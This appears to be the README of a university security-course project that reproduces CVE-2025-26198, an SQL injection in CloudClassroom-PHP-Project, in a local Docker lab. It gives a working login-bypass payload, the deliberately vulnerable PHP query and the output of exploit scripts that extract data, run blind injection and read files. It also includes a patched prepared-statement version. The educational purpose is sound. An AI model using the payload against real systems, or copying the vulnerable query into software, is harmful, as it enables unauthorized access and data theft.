## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-WAILYACOUBI9-CVE-2025-26198
# CVE-2025-26198 - SQL注入演示
**ENSIMAG学术项目 - 3A安全**
作者:Wail Yacoubi, Mohammed-Yassine Akhmari
日期:2026年1月
* * *
## 警告
此代码有意包含漏洞,仅供教育用途。
切勿部署到生产环境。
* * *
## 描述
复现CVE-2025-26198:CloudClassroom-PHP-Project v1.0中的严重SQL注入漏洞。
**CVE特征:**
* 标识符:CVE-2025-26198
* CVSS评分:9.8/10(严重)
* 类型:SQL注入(CWE-89)
* 受漏洞组件:loginlinkadmin.php
* 影响:认证绕过 + 完全数据库提取
官方参考:https://nvd.nist.gov/vuln/detail/CVE-2025-26198
* * *
## 目标
演示4种SQL注入利用技术:
1. 布尔型 - 认证绕过
2. 联合查询 - 数据提取
3. 基于时间的盲注 - 通过延迟检测
4. 文件读取 - 读取系统文件
* * *
## 安装
### 前提条件
* Docker和Docker Compose
* Python 3.x
* 安装requests:`pip install requests`
### 启动
root@kitploit:~
# 克隆仓库
git clone <votre-repo>
cd CVE-2025-26198
# 启动基础设施
docker-compose up -d
# 等待MySQL就绪(30秒)
sleep 30
# 检查容器
docker-compose ps
应用可通过http://localhost:8081访问
* * *
## 利用
### 方法1:手动(浏览器)
1. 访问http://localhost:8081
2. 填写表单:
* 用户名:`admin' OR '1'='1'-- -`
* 密码:`anything`
3. 点击登录
结果:管理员登录成功,无需有效密码。
**说明:**
有效载荷将SQL查询转换为:
root@kitploit:~
-- 正常查询
SELECT * FROM admin WHERE username='admin' AND password=MD5('test')
-- 注入后的查询
SELECT * FROM admin WHERE username='admin' OR '1'='1'-- -' AND password=MD5('test')
`OR '1'='1'`始终为真,`-- -`注释掉其余部分。
* * *
### 方法2:Python脚本
#### 简单脚本
root@kitploit:~
python exploit_simple.py http://localhost:8081
预期输出:
root@kitploit:~
CVE-2025-26198 - SQL Injection Exploit
==================================================
[*] Target: http://localhost:8081/loginlinkadmin.php
[*] Payload: admin' OR '1'='1'-- -
[+] Exploitation successful
[+] Status Code: 200
* * *
#### 完整脚本(4种技术)
root@kitploit:~
python exploit.py http://localhost:8081
预期输出:
root@kitploit:~
============================================================
CVE-2025-26198 - SQL Injection Exploitation
============================================================
Test 1: Boolean-based Authentication Bypass
[+] Authentication bypass SUCCESSFUL
[+] Admin access obtained without valid credentials
Test 2: Union-based Data Extraction
[*] Detecting number of columns...
[+] Number of columns: 5
[+] Database name: cloudclassroom
[+] MySQL user: some-email@example.com
[+] MySQL version: 5.7.44
[+] Tables: admin,students
[+] Admin data:
- admin:some-email@example.com
- superadmin:some-email@example.com
Test 3: Time-based Blind SQL Injection
[*] Response time: 3.05 seconds
[+] Time-based injection CONFIRMED
Test 4: File Read via LOAD_FILE()
[+] File read SUCCESSFUL
[+] FILE privilege confirmed
EXPLOITATION SUMMARY
[✓] Boolean-based (Auth Bypass)
[✓] Union-based (Data Extraction)
[✓] Time-based (Blind Detection)
[✓] File Read (LOAD_FILE)
* * *
## 已修补版本
使用预处理语句测试安全版本:
root@kitploit:~
# 启用已修补版本
mv app/loginlinkadmin.php app/loginlinkadmin_VULNERABLE.php
mv app/loginlinkadmin_PATCHED.php app/loginlinkadmin.php
docker-compose restart web
sleep 3
# 重新测试漏洞利用
python exploit_simple.py http://localhost:8081
预期结果:
root@kitploit:~
[-] Error: Connection aborted
[-] Exploitation failed
攻击被输入验证和预处理语句阻止。
恢复有漏洞版本:
root@kitploit:~
mv app/loginlinkadmin.php app/loginlinkadmin_PATCHED.php
mv app/loginlinkadmin_VULNERABLE.php app/loginlinkadmin.php
docker-compose restart web
* * *
## 版本比较
**有漏洞代码:**
root@kitploit:~
$sql = "SELECT * FROM admin WHERE username='$input_username' AND password=MD5('$input_password')";
$result = $conn->query($sql);
**安全代码:**
root@kitploit:~
$stmt = $pdo->prepare("SELECT * FROM admin WHERE username = :username AND password = MD5(:password)");
$stmt->bindParam(':username', $input_username, PDO::PARAM_STR);
$stmt->bindParam(':password', $input_password, PDO::PARAM_STR);
$stmt->execute();
* * *
## 项目结构
root@kitploit:~
CVE-2025-26198/
├── README.md
├── RAPPORT.md
├── docker-compose.yml
├── app/
│ ├── index.html
│ ├── loginlinkadmin.php # 有漏洞版本
│ ├── loginlinkadmin_PATCHED.php # 安全版本
│ └── sql/
│ ├── init.sql
│ └── grant_file.sql
├── exploit.py
├── exploit_simple.py
└── screenshots/
* * *
## 故障排除
### Web容器无法启动
root@kitploit:~
docker-compose logs web
docker-compose down
docker-compose up -d --build
### 漏洞利用无效
root@kitploit:~
# 检查MySQL
docker-compose exec db mysql -udbuser -pdbpassword -e "SELECT 1"
# 检查web服务
curl http://localhost:8081
# 检查当前版本
head -n 2 app/loginlinkadmin.php
### 端口已被占用
修改`docker-compose.yml`:
root@kitploit:~
ports:
- "8082:80"
* * *
## 文档
参见`RAPPORT.md`了解详细分析,包括:
* 漏洞机制
* 系统架构
* 安全加固建议
* 开发最佳实践
* * *
## 参考
* 官方CVE:https://nvd.nist.gov/vuln/detail/CVE-2025-26198
* 原始项目:https://github.com/mathurvishal/CloudClassroom-PHP-Project
* OWASP SQL注入:https://owasp.org/www-community/attacks/SQL_Injection
* PHP PDO:https://www.php.net/manual/en/pdo.prepared-statements.php
* * *
## 免责声明
本项目仅出于教育目的,在ENSIMAG网络安全课程框架下开发。
允许用途:
* 学习与培训
* 在授权环境中的测试
禁止用途:
* 攻击真实系统
* 恶意使用
任何超出学术范围的使用均被严格禁止且违法。
* * *
**作者**
Wail Yacoubi & Mohammed-Yassine Akhmari
ENSIMAG - 2026届
课程:3A安全